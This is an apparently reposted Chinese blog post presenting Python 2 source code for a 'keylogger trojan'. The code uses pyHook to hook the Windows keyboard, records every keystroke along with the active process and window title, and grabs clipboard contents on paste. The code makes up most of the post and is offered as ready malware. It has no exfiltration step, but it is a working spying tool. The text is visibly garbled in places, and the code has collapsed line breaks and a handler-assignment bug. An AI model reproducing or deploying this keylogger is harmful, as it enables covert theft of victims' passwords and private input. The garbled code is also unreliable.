python实现键盘记录木马
生活随笔
收集整理的這篇文章主要介紹了
python实现键盘记录木马
小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
pyHook
第三方庫(kù),用于捕捉特定的Windows事件,封裝了所有底層調(diào)用,我們
只需要關(guān)注程序邏輯。
更多內(nèi)容及使用方法請(qǐng)自行查找
下載鏈接:http://sourceforge.net/projects/pyhook/
主干邏輯圖
當(dāng)程序運(yùn)行后,每當(dāng)用戶在鍵盤(pán)按下一個(gè)鍵,就會(huì)觸發(fā)鉤子函數(shù),調(diào)用 鍵盤(pán)記錄函數(shù) 記錄按鍵內(nèi)容,該函數(shù)又會(huì)調(diào)用 進(jìn)程切換函數(shù) 來(lái)應(yīng)對(duì)焦點(diǎn)窗口切換的情況并打印出相應(yīng)的進(jìn)程名稱。
代碼及注釋
引用及定義部分
# !/usr/bin/env python # -*- coding: utf-8 -*- __author__ = 'xy'from ctypes import * import pythoncom import pyHook import win32clipboarduser32 = windll.user32 kernel32 = windll.kernel32 psapi = windll.psapi current_window = None進(jìn)程切換函數(shù)
def get_current_process():# 獲得窗口句柄hwnd = user32.GetForegroundWindow()# 獲得進(jìn)程IDpid = c_ulong(0)user32.GetWindowThreadProcessID(hwnd, byref(pid))# 保存當(dāng)前進(jìn)程IDprocess_id = "%d" % pid.value# 申請(qǐng)內(nèi)存executable = create_string_buffer("\x00" * 512)h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)psapi.GetModuleBaseName(h_process, None, byref(executable), 512)# 讀取窗口標(biāo)題window_title = create_string_buffer("\x00" * 512)length = user32.GetWindowTextA(hwnd, byref(window_title), 512)# 輸出print "\n [ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)# 關(guān)閉句柄kernel32.CloseHandle(hwnd)kernel32.CloseHandle(h_process)鍵盤(pán)記錄函數(shù)
def KeyStroke(event):global current_window# 檢查目標(biāo)是否切換窗口if event.WindowName != current_window:current_window = event.WindowNameget_current_process()# 檢測(cè)按鍵是否為常規(guī)鍵if event.Ascii > 32 and event.Ascii < 127:print chr(event.Ascii),else:# 如果輸入為ctrl-v 則獲取剪貼板內(nèi)容if event.Key == "V":win32clipboard.OpenClipboard()pasted_value = win32clipboard.GetClipboardData()win32clipboard.CloseClipboard()print "[PASTE] - %s" % (pasted_value),else:print "[%s]" % event.Key,return True主函數(shù)
# 創(chuàng)建和注冊(cè)鉤子函數(shù)管理器 kl = pyHook.HookManager() kl.KeyDown = KeyStroke()# 注冊(cè)鍵盤(pán)記錄的鉤子并永久執(zhí)行 kl.HookKeyboard() pythoncom.PumpMessages()總結(jié)
以上是生活随笔為你收集整理的python实现键盘记录木马的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: xss获取键盘记录实验演示
- 下一篇: XSS漏洞利用——键盘记录